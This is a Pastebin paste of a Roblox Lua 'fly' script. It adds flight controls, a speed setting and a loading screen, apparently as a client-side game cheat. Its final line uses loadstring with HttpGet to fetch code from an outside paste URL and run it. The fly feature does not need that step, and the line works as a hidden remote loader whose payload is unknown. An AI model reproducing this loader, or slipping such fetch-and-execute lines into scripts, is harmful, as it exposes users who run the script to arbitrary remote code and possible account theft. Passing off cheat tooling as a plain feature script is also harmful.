papapyst

p

Jun 15th, 2025
12
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.85 KB | None | 0 0
  1. local player, character, humanoid, HRP, flySpeed, flying, bodyVelocity, bodyGyro, TweenService, RunService, Camera, screenGui, loadingFrame, loadingLabel, flyControlsContainer, dpadSize, toggleButton, forwardButton, backButton, leftButton, rightButton, upButton, downButton, uiToggleButton, uiVisible, inputFlags, UserInputService, IS_MOBILE, pcFlyButton, speedTextBox, flyingAnimation, flyingAnimTrack
  2.  
  3. player = game.Players.LocalPlayer
  4. character = player.Character or player.CharacterAdded:Wait()
  5. humanoid = character:WaitForChild("Humanoid")
  6. HRP = character:WaitForChild("HumanoidRootPart")
  7. flySpeed = 50
  8. flying = false
  9. bodyVelocity = Instance.new("BodyVelocity")
  10. bodyVelocity.Velocity = Vector3.new(0, 0, 0)
  11. bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
  12. bodyGyro = Instance.new("BodyGyro")
  13. bodyGyro.CFrame = HRP.CFrame
  14. bodyGyro.MaxTorque = Vector3.new(100000, 100000, 100000)
  15. TweenService = game:GetService("TweenService")
  16. RunService = game:GetService("RunService")
  17. Camera = workspace.CurrentCamera
  18. UserInputService = game:GetService("UserInputService")
  19. IS_MOBILE = UserInputService.TouchEnabled
  20. screenGui = Instance.new("ScreenGui")
  21. screenGui.Name = "FlyScreenGui"
  22. screenGui.ResetOnSpawn = false
  23. screenGui.Parent = player:WaitForChild("PlayerGui")
  24. loadingFrame = Instance.new("Frame")
  25. loadingFrame.Name = "LoadingFrame"
  26. loadingFrame.Size = UDim2.new(1, 0, 1, 0)
  27. loadingFrame.Position = UDim2.new(0, 0, 0, 0)
  28. loadingFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  29. loadingFrame.BackgroundTransparency = 0
  30. loadingFrame.Parent = screenGui
  31. loadingLabel = Instance.new("TextLabel")
  32. loadingLabel.Name = "LoadingLabel"
  33. loadingLabel.Size = UDim2.new(0.5, 0, 0.2, 0)
  34. loadingLabel.Position = UDim2.new(0.25, 0, 0.4, 0)
  35. loadingLabel.BackgroundTransparency = 1
  36. loadingLabel.Text = "Loading..."
  37. loadingLabel.TextScaled = true
  38. loadingLabel.Font = Enum.Font.GothamBold
  39. loadingLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  40. loadingLabel.Parent = loadingFrame
  41. flyControlsContainer = Instance.new("Frame")
  42. flyControlsContainer.Name = "FlyControlsContainer"
  43. flyControlsContainer.Size = UDim2.new(1, 0, 1, 0)
  44. flyControlsContainer.BackgroundTransparency = 1
  45. flyControlsContainer.Parent = screenGui
  46. dpadSize = UDim2.new(0, 60, 0, 60)
  47. toggleButton = nil
  48. forwardButton = nil
  49. backButton = nil
  50. leftButton = nil
  51. rightButton = nil
  52. upButton = nil
  53. downButton = nil
  54. uiToggleButton = nil
  55. uiVisible = true
  56. inputFlags = { forward = false, back = false, left = false, right = false, up = false, down = false }
  57. pcFlyButton = nil
  58.  
  59. flyingAnimation = Instance.new("Animation")
  60. flyingAnimation.AnimationId = "rbxassetid://282574440"
  61. flyingAnimTrack = nil
  62.  
  63. local function startFlying()
  64. flying = true
  65. bodyVelocity.Parent = HRP
  66. bodyGyro.Parent = HRP
  67. humanoid.PlatformStand = true
  68. if not flyingAnimTrack then
  69. flyingAnimTrack = humanoid:LoadAnimation(flyingAnimation)
  70. flyingAnimTrack.Looped = true
  71. end
  72. end
  73.  
  74. local function stopFlying()
  75. flying = false
  76. bodyVelocity.Parent = nil
  77. bodyGyro.Parent = nil
  78. humanoid.PlatformStand = false
  79. if flyingAnimTrack then
  80. flyingAnimTrack:Stop()
  81. end
  82. end
  83.  
  84. local function createButton(parent, name, text, pos, size)
  85. local btn = Instance.new("TextButton")
  86. btn.Name = name
  87. btn.Text = text
  88. btn.Size = size
  89. btn.Position = pos
  90. btn.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  91. btn.TextColor3 = Color3.fromRGB(255, 255, 255)
  92. btn.Font = Enum.Font.GothamBold
  93. btn.TextScaled = true
  94. btn.BackgroundTransparency = 0.2
  95. btn.Parent = parent
  96. local corner = Instance.new("UICorner")
  97. corner.CornerRadius = UDim.new(0, 12)
  98. corner.Parent = btn
  99. return btn
  100. end
  101.  
  102. local function tweenFlyControls(visible)
  103. local tweenTime = 0.5
  104. for _, btn in pairs(flyControlsContainer:GetChildren()) do
  105. if btn:IsA("TextButton") then
  106. local targetBackgroundTransparency = visible and 0.2 or 1
  107. local targetTextTransparency = visible and 0 or 1
  108. local tweenInfo = TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
  109. local tween = TweenService:Create(btn, tweenInfo, { BackgroundTransparency = targetBackgroundTransparency, TextTransparency = targetTextTransparency })
  110. tween:Play()
  111. end
  112. end
  113. if speedTextBox then
  114. speedTextBox.Visible = visible
  115. end
  116. end
  117.  
  118. local function addTouchEvents(button, flagName)
  119. button.MouseButton1Down:Connect(function() inputFlags[flagName] = true end)
  120. button.MouseButton1Up:Connect(function() inputFlags[flagName] = false end)
  121. button.MouseLeave:Connect(function() inputFlags[flagName] = false end)
  122. end
  123.  
  124. uiToggleButton = createButton(screenGui, "UIToggleButton", "Hide UI", UDim2.new(0, 10, 0, 10), UDim2.new(0, 100, 0, 50))
  125.  
  126. speedTextBox = Instance.new("TextBox")
  127. speedTextBox.Name = "SpeedTextBox"
  128. speedTextBox.Size = UDim2.new(0, 100, 0, 40)
  129. speedTextBox.Position = UDim2.new(0, 10, 0, 65)
  130. speedTextBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  131. speedTextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  132. speedTextBox.Font = Enum.Font.GothamBold
  133. speedTextBox.TextScaled = true
  134. speedTextBox.Text = tostring(flySpeed)
  135. speedTextBox.ClearTextOnFocus = false
  136. speedTextBox.Parent = screenGui
  137. speedTextBox.Visible = true
  138.  
  139. speedTextBox.FocusLost:Connect(function(enterPressed)
  140. if enterPressed then
  141. local val = tonumber(speedTextBox.Text)
  142. if val and val > 0 then
  143. flySpeed = val
  144. else
  145. speedTextBox.Text = tostring(flySpeed)
  146. end
  147. end
  148. end)
  149.  
  150. if IS_MOBILE then
  151. toggleButton = createButton(flyControlsContainer, "ToggleFlyButton", "Toggle Fly", UDim2.new(1, -110, 0, 10), UDim2.new(0, 100, 0, 50))
  152. toggleButton.MouseButton1Click:Connect(function()
  153. if flying then
  154. stopFlying()
  155. toggleButton.Text = "Fly OFF"
  156. else
  157. startFlying()
  158. toggleButton.Text = "Fly ON"
  159. end
  160. end)
  161. forwardButton = createButton(flyControlsContainer, "ForwardButton", "↑", UDim2.new(0, 70, 1, -190), dpadSize)
  162. backButton = createButton(flyControlsContainer, "BackButton", "↓", UDim2.new(0, 70, 1, -70), dpadSize)
  163. leftButton = createButton(flyControlsContainer, "LeftButton", "←", UDim2.new(0, 10, 1, -130), dpadSize)
  164. rightButton = createButton(flyControlsContainer, "RightButton", "→", UDim2.new(0, 130, 1, -130), dpadSize)
  165. upButton = createButton(flyControlsContainer, "UpButton", "Up", UDim2.new(1, -110, 1, -190), dpadSize)
  166. downButton = createButton(flyControlsContainer, "DownButton", "Down", UDim2.new(1, -110, 1, -70), dpadSize)
  167. addTouchEvents(forwardButton, "forward")
  168. addTouchEvents(backButton, "back")
  169. addTouchEvents(leftButton, "left")
  170. addTouchEvents(rightButton, "right")
  171. addTouchEvents(upButton, "up")
  172. addTouchEvents(downButton, "down")
  173. else
  174. pcFlyButton = createButton(flyControlsContainer, "PCFlyButton", "Fly", UDim2.new(0, 130, 0, 10), UDim2.new(0, 100, 0, 50))
  175. pcFlyButton.MouseButton1Click:Connect(function()
  176. if flying then
  177. stopFlying()
  178. pcFlyButton.Text = "Fly"
  179. else
  180. startFlying()
  181. pcFlyButton.Text = "Unfly"
  182. end
  183. end)
  184. UserInputService.InputBegan:Connect(function(input, gameProcessed)
  185. if not gameProcessed and flying then
  186. if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = true end
  187. if input.KeyCode == Enum.KeyCode.S then inputFlags.back = true end
  188. if input.KeyCode == Enum.KeyCode.A then inputFlags.left = true end
  189. if input.KeyCode == Enum.KeyCode.D then inputFlags.right = true end
  190. if input.KeyCode == Enum.KeyCode.Space then inputFlags.up = true end
  191. if input.KeyCode == Enum.KeyCode.LeftControl then inputFlags.down = true end
  192. end
  193. end)
  194.  
  195. UserInputService.InputEnded:Connect(function(input)
  196. if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = false end
  197. if input.KeyCode == Enum.KeyCode.S then inputFlags.back = false end
  198. if input.KeyCode == Enum.KeyCode.A then inputFlags.left = false end
  199. if input.KeyCode == Enum.KeyCode.D then inputFlags.right = false end
  200. if input.KeyCode == Enum.KeyCode.Space then inputFlags.up = false end
  201. if input.KeyCode == Enum.KeyCode.LeftControl then inputFlags.down = false end
  202. end)
  203. end
  204.  
  205. uiToggleButton.MouseButton1Click:Connect(function()
  206. uiVisible = not uiVisible
  207. tweenFlyControls(uiVisible)
  208. uiToggleButton.Text = uiVisible and "Hide UI" or "Show UI"
  209. end)
  210.  
  211. player.CharacterAdded:Connect(function(newCharacter)
  212. character = newCharacter
  213. humanoid = newCharacter:WaitForChild("Humanoid")
  214. HRP = newCharacter:WaitForChild("HumanoidRootPart")
  215. flying = false
  216. if flyingAnimTrack then
  217. flyingAnimTrack:Stop()
  218. flyingAnimTrack = nil
  219. end
  220. end)
  221.  
  222. RunService.RenderStepped:Connect(function(dt)
  223. if flying then
  224. local move = Vector3.new(0, 0, 0)
  225. local cam = Camera.CFrame
  226.  
  227. if inputFlags.forward then move = move + cam.LookVector end
  228. if inputFlags.back then move = move - cam.LookVector end
  229. if inputFlags.left then move = move - cam.RightVector end
  230. if inputFlags.right then move = move + cam.RightVector end
  231. if inputFlags.up then move = move + Vector3.new(0, 1, 0) end
  232. if inputFlags.down then move = move - Vector3.new(0, 1, 0) end
  233.  
  234. if move.Magnitude > 0 then
  235. move = move.Unit
  236. bodyVelocity.Velocity = move * flySpeed
  237. bodyGyro.CFrame = CFrame.new(HRP.Position, HRP.Position + move)
  238. if not flyingAnimTrack or not flyingAnimTrack.IsPlaying then
  239. flyingAnimTrack = humanoid:LoadAnimation(flyingAnimation)
  240. flyingAnimTrack.Looped = true
  241. flyingAnimTrack:Play()
  242. end
  243. elseif flyingAnimTrack and flyingAnimTrack.IsPlaying then
  244. flyingAnimTrack:Stop()
  245. bodyVelocity.Velocity = Vector3.new(0, 0, 0)
  246. end
  247. end
  248. end)
  249.  
  250. task.delay(2, function()
  251. local tweenInfo = TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
  252. local tweenFrame = TweenService:Create(loadingFrame, tweenInfo, { BackgroundTransparency = 1 })
  253. local tweenLabel = TweenService:Create(loadingLabel, tweenInfo, { TextTransparency = 1 })
  254. tweenFrame:Play()
  255. tweenLabel:Play()
  256. tweenFrame.Completed:Connect(function()
  257. loadingFrame:Destroy()
  258. end)
  259. end)
  260.  
  261. loadstring(game:HttpGet(('http://pastefy.app/GvnHVjT5/raw'),true))()
Advertisement
Add Comment
Please, Sign In to add comment